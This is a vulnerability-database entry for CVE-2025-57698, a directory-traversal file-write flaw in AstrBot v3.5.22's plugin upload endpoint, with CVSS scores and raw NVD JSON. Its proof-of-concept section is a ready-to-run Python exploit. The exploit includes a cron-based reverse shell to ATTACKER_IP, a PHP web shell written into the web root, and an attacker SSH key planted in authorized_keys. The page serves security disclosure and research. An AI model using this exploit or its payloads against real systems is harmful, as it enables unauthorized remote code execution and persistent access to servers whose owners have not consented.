Security Vulnerability Report
中文
CVE-2025-57698 CVSS 7.5 HIGH

CVE-2025-57698

Published: 2025-11-07 17:15:48
Last Modified: 2025-12-05 20:51:03

Description

AstrBot Project v3.5.22 contains a directory traversal vulnerability. The handler function install_plugin_upload of the interface '/plugin/install-upload' parses the filename from the request body provided by the user, and directly uses the filename to assign to file_path without checking the validity of the filename. The variable file_path is then passed as a parameter to the function `file.save`, so that the file in the request body can be saved to any location in the file system through directory traversal.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:astrbot:astrbot:3.5.22:*:*:*:*:*:*:* - VULNERABLE
AstrBot Project v3.5.22

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-57698 PoC - AstrBot Directory Traversal File Write # Target: AstrBot Project v3.5.22 # Vulnerability: Path traversal in /plugin/install-upload endpoint target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000" def exploit_directory_traversal(target_url, filename, content): """ Exploit the directory traversal vulnerability to write arbitrary files """ url = f"{target_url}/plugin/install-upload" # Prepare the malicious file content files = { 'file': (filename, content, 'application/octet-stream') } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Target file path: {filename}") response = requests.post(url, files=files, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") if response.status_code == 200: print("[+] Exploit sent successfully!") return True else: print("[-] Exploit may have failed") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Example 1: Write to cron.d for reverse shell filename1 = "../../../../etc/cron.d/backdoor" content1 = "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n" # Example 2: Write web shell filename2 = "../../../var/www/html/uploads/shell.php" content2 = "<?php system($_GET['cmd']); ?>" # Example 3: Write to user home directory filename3 = "../../../../home/astrabot/.ssh/authorized_keys" content3 = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC... attacker@localhost" if __name__ == "__main__": print("CVE-2025-57698 PoC - AstrBot Directory Traversal") print("=" * 50) # Test with web shell example exploit_directory_traversal(target, filename2, content2)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57698", "sourceIdentifier": "[email protected]", "published": "2025-11-07T17:15:47.660", "lastModified": "2025-12-05T20:51:03.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AstrBot Project v3.5.22 contains a directory traversal vulnerability. The handler function install_plugin_upload of the interface '/plugin/install-upload' parses the filename from the request body provided by the user, and directly uses the filename to assign to file_path without checking the validity of the filename. The variable file_path is then passed as a parameter to the function `file.save`, so that the file in the request body can be saved to any location in the file system through directory traversal."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:astrbot:astrbot:3.5.22:*:*:*:*:*:*:*", "matchCriteriaId": "45EBB6A4-063B-4FD6-8C41-321E680DA709"}]}]}], "references": [{"url": "https://github.com/DYX217/vulnerability-explore/blob/main/2/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}